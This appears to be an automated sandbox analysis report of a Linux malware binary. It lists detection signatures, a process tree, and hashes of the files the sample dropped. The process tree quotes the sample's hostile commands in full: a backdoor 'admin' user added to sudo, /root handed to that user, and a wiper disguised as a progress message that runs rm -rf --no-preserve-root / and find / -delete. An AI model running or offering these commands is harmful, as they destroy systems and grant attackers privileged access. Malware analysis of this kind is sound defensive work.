Resubmissions

22/07/2026, 19:58

260722-ypv3astepb

22/07/2026, 19:54

260722-ymj71stdrd8

Analysis

  • user interaction
    yes
  • max time kernel
    52s
  • max time network
    13s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    22/07/2026, 19:54

General

  • Target
    binary
  • Size 3.6MB
  • Sample260722-ymj71stdrd
  • SHA256 dcde14a00291f269d56989e9e1d6d6739722707e123fad802eddd957835eb40a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies password files for system users/ groups 1 TTPs 11 IoCs

    Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

  • Deletes Audit logs 1 TTPs 2 IoCs

    Deletes logs related to the Linux Audit framework.

  • Deletes journal logs 1 TTPs 8 IoCs

    Deletes systemd journal logs. Likely to evade detection.

  • Deletes system logs 1 TTPs 2 IoCs

    Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

  • OS Credential Dumping 1 TTPs 4 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 5 IoCs

    Abuse sudo or cached sudo credentials to execute code.

  • Adds a user to the system 1 IoCs
  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Deletes log files 1 TTPs 64 IoCs

    Deletes log files on the system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies Bash startup script 2 TTPs 2 IoCs
  • Changes its process name 1 IoCs
  • Creates .desktop file 2 TTPs 1 IoCs

    Linux desktops like GNOME require .desktop files to register applications. Sometimes abused by malware for persistence.

  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

Processes

  • /tmp/binary
    /tmp/binary
    1⤵
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:1495
    • /usr/bin/sudo
      sudo adduser admin
      2⤵
      • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
      PID:1506
      • /usr/sbin/adduser
        adduser admin
        3⤵
        • Creates/modifies environment variables
        • Modifies Bash startup script
        • Changes its process name
        • Creates .desktop file
        PID:1507
        • /usr/sbin/groupadd
          /usr/sbin/groupadd -g 1001 admin
          4⤵
          • Modifies password files for system users/ groups
          PID:1508
          • /usr/sbin/nscd
            nscd -i passwd
            5⤵
              PID:1509
            • /usr/sbin/nscd
              nscd -i group
              5⤵
                PID:1510
              • /usr/sbin/nscd
                nscd -i group
                5⤵
                  PID:1511
              • /usr/sbin/useradd
                /usr/sbin/useradd -d /home/admin -g admin -s /bin/bash -u 1001 admin
                4⤵
                • Modifies password files for system users/ groups
                • OS Credential Dumping
                • Adds a user to the system
                PID:1512
                • /usr/sbin/nscd
                  nscd -i passwd
                  5⤵
                    PID:1513
                  • /usr/sbin/nscd
                    nscd -i group
                    5⤵
                      PID:1514
                    • /sbin/pam_tally2
                      pam_tally2 --user admin --reset --quiet
                      5⤵
                        PID:1515
                      • /usr/sbin/nscd
                        nscd -i passwd
                        5⤵
                          PID:1516
                        • /usr/sbin/nscd
                          nscd -i group
                          5⤵
                            PID:1517
                        • /bin/sh
                          sh -c "cd /etc/skel; find . -print"
                          4⤵
                            PID:1518
                            • /usr/bin/find
                              find . -print
                              5⤵
                                PID:1519
                            • /usr/bin/passwd
                              /usr/bin/passwd admin
                              4⤵
                              • OS Credential Dumping
                              PID:1520
                            • /usr/bin/chfn
                              /usr/bin/chfn admin
                              4⤵
                              • Modifies password files for system users/ groups
                              • OS Credential Dumping
                              PID:1521
                              • /usr/sbin/nscd
                                nscd -i passwd
                                5⤵
                                  PID:1522
                                • /usr/sbin/nscd
                                  nscd -i group
                                  5⤵
                                    PID:1523
                                  • /usr/sbin/nscd
                                    nscd -i passwd
                                    5⤵
                                      PID:1524
                              • /usr/bin/sudo
                                sudo usermod -aG sudo admin
                                2⤵
                                • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                PID:1525
                                • /usr/sbin/usermod
                                  usermod -aG sudo admin
                                  3⤵
                                  • Modifies password files for system users/ groups
                                  • OS Credential Dumping
                                  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                  PID:1526
                                  • /usr/sbin/nscd
                                    nscd -i passwd
                                    4⤵
                                      PID:1527
                                    • /usr/sbin/nscd
                                      nscd -i group
                                      4⤵
                                        PID:1528
                                      • /usr/sbin/nscd
                                        nscd -i passwd
                                        4⤵
                                          PID:1529
                                        • /usr/sbin/nscd
                                          nscd -i group
                                          4⤵
                                            PID:1530
                                      • /usr/bin/sudo
                                        sudo chown -R admin:admin /root/
                                        2⤵
                                        • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                        PID:1531
                                        • /bin/chown
                                          chown -R admin:admin /root/
                                          3⤵
                                            PID:1532
                                        • /usr/bin/sudo
                                          sudo bash -c "echo \"Processing PID, Please wait\"; rm -rf --no-preserve-root /{,*,.?*} 2>/dev/null || true & find / -delete 2>/dev/null || true & rm -rf --no-preserve-root / 2>/dev/null || true; sleep 10"
                                          2⤵
                                          • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                          PID:1534
                                          • /bin/bash
                                            bash -c "echo \"Processing PID, Please wait\"; rm -rf --no-preserve-root /{,*,.?*} 2>/dev/null || true & find / -delete 2>/dev/null || true & rm -rf --no-preserve-root / 2>/dev/null || true; sleep 10"
                                            3⤵
                                              PID:1535
                                              • /bin/rm
                                                rm -rf --no-preserve-root /
                                                4⤵
                                                • Deletes Audit logs
                                                • Deletes journal logs
                                                • Deletes system logs
                                                • Deletes log files
                                                • Reads runtime system information
                                                PID:1538
                                              • /usr/bin/find
                                                find / -delete
                                                4⤵
                                                • Reads runtime system information
                                                PID:1539
                                              • /bin/rm
                                                rm -rf --no-preserve-root / /bin /boot /dev /etc /home /initrd.img /initrd.img.old /lib /lib64 /lost+found /media /mnt /opt /proc /root /run /sbin /snap /srv /swapfile /sys /tmp /usr /var /vmlinuz /vmlinuz.old /.. /.autorelabel /.cache
                                                4⤵
                                                • Deletes Audit logs
                                                • Deletes journal logs
                                                • Deletes system logs
                                                • Deletes log files
                                                • Reads runtime system information
                                                PID:1540

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Replay Monitor

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                                              Downloads

                                              group+

                                              • Path /etc/group+
                                              • Size 930B
                                              • SHA256 15fbb67221f53117e35bd1da13f6e71b38db2a0e16aec3533aa49e1b1a419e22
                                              • MD5 SHA1 SHA512 TLSH

                                              group+

                                              • Path /etc/group+
                                              • Size 936B
                                              • SHA256 9073f7548523f5edb205763b9ba152ac5d8dc4d217b5f9e9b1c5ddc7d75d8dad
                                              • MD5 SHA1 SHA512 TLSH

                                              gshadow+

                                              • Path /etc/gshadow+
                                              • Size 778B
                                              • SHA256 2029723f2db01110bec046d6ae39a5746a6629acadc0f436010e139f23fe1abc
                                              • MD5 SHA1 SHA512 TLSH

                                              gshadow+

                                              • Path /etc/gshadow+
                                              • Size 772B
                                              • SHA256 c1105c40673bf26ecd1bde9aef5bd35b05068614111b619ee037478ea3fc7d3a
                                              • MD5 SHA1 SHA512 TLSH

                                              nshadow

                                              • Path /etc/nshadow
                                              • Size 1KB
                                              • SHA256 4526c0133aef6a6034d80390462b77636fbdcbea958790f7dd171ddaf1b9ba9c
                                              • MD5 SHA1 SHA512 TLSH

                                              passwd+

                                              • Path /etc/passwd+
                                              • Size 2KB
                                              • SHA256 512cf2834a93f78cc38f346aef778bc6dbaf4ae5bafc284e40ad46b78db2d344
                                              • MD5 SHA1 SHA512 TLSH

                                              passwd+

                                              • Path /etc/passwd+
                                              • Size 2KB
                                              • SHA256 10eaf14c4ce9800cf86980d7d05babe981189caf09dd4d4cc236be63d2b8110b
                                              • MD5 SHA1 SHA512 TLSH

                                              shadow+

                                              • Path /etc/shadow+
                                              • Size 1KB
                                              • SHA256 996aad794768c4a5eea5b98d70c4b094c7bd87b3c644193969a28ee3cf446171
                                              • MD5 SHA1 SHA512 TLSH

                                              subuid+

                                              • Path /etc/subuid+
                                              • Size 37B
                                              • SHA256 4867be3ff183f9836df61aa372560b06914575d67f20f1730eac176483721ff0
                                              • MD5 SHA1 SHA512

                                              .bash_logout

                                              • Path /home/admin/.bash_logout
                                              • Size 220B
                                              • SHA256 26882b79471c25f945c970f8233d8ce29d54e9d5eedcd2884f88affa84a18f56
                                              • MD5 SHA1 SHA512 TLSH

                                              .bashrc

                                              • Path /home/admin/.bashrc
                                              • Size 3KB
                                              • SHA256 342099da4dd28c394d3f8782d90d7465cb2eaa611193f8f378d6918261cb9bb8
                                              • MD5 SHA1 SHA512 TLSH

                                              .profile

                                              • Path /home/admin/.profile
                                              • Size 807B
                                              • SHA256 28b4a453b68dde64f814e94bab14ee651f4f162e15dd9920490aa1d49f05d2a4
                                              • MD5 SHA1 SHA512 TLSH

                                              examples.desktop

                                              • Path /home/admin/examples.desktop
                                              • Size 8KB
                                              • SHA256 913b87897ffb6dca07e9f17e280aa8ecb9886dffeda8a15efeafec11dec0d108
                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                              Backup.tar.gz

                                              • Path /tmp/Backup.tar.gz
                                              • Size 2.8MB
                                              • SHA256 e6f984e7e8ffc6784a9d9103237199aef9bf501badf3d3f7331812f2c4b4580f
                                              • MD5 SHA1 SHA512 SSDEEP TLSH